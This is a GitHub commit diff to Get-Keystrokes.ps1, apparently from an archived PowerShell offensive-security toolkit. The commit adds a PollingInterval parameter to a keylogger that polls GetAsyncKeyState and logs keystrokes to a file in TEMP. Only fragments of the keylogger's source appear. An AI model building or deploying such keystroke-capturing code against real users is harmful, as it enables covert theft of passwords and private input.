Skip to content
This repository was archived by the owner on Jan 21, 2021. It is now read-only.

Commit 93a71b0

Browse files
committed
Adding PollingInterval param to Get-Keystrokes
Incorporates idea from @obscuresec in issue #50.
1 parent a336562 commit 93a71b0

1 file changed

Lines changed: 15 additions & 3 deletions

File tree

Exfiltration/Get-Keystrokes.ps1

Lines changed: 15 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,12 +12,16 @@ function Get-Keystrokes {
1212
1313
.PARAMETER LogPath
1414
15-
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to '$($Env:TEMP)\key.log'.
15+
Specifies the path where pressed key details will be logged. By default, keystrokes are logged to %TEMP%\key.log.
1616
1717
.PARAMETER CollectionInterval
1818
1919
Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely.
2020
21+
.PARAMETER PollingInterval
22+
23+
Specifies the time in milliseconds to wait between calls to GetAsyncKeyState. Defaults to 40 milliseconds.
24+
2125
.EXAMPLE
2226
2327
Get-Keystrokes -LogPath C:\key.log
@@ -26,6 +30,10 @@ function Get-Keystrokes {
2630
2731
Get-Keystrokes -CollectionInterval 20
2832
33+
.EXAMPLE
34+
35+
Get-Keystrokes -PollingInterval 35
36+
2937
.LINK
3038
3139
http://www.obscuresec.com/
@@ -39,7 +47,11 @@ function Get-Keystrokes {
3947

4048
[Parameter(Position = 1)]
4149
[UInt32]
42-
$CollectionInterval
50+
$CollectionInterval,
51+
52+
[Parameter(Position = 2)]
53+
[Int32]
54+
$PollingInterval = 40
4355
)
4456

4557
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
@@ -139,7 +151,7 @@ function Get-Keystrokes {
139151
$ImportDll = $TypeBuilder.CreateType()
140152
}
141153

142-
Start-Sleep -Milliseconds 40
154+
Start-Sleep -Milliseconds $PollingInterval
143155

144156
try
145157
{

0 commit comments

Comments
 (0)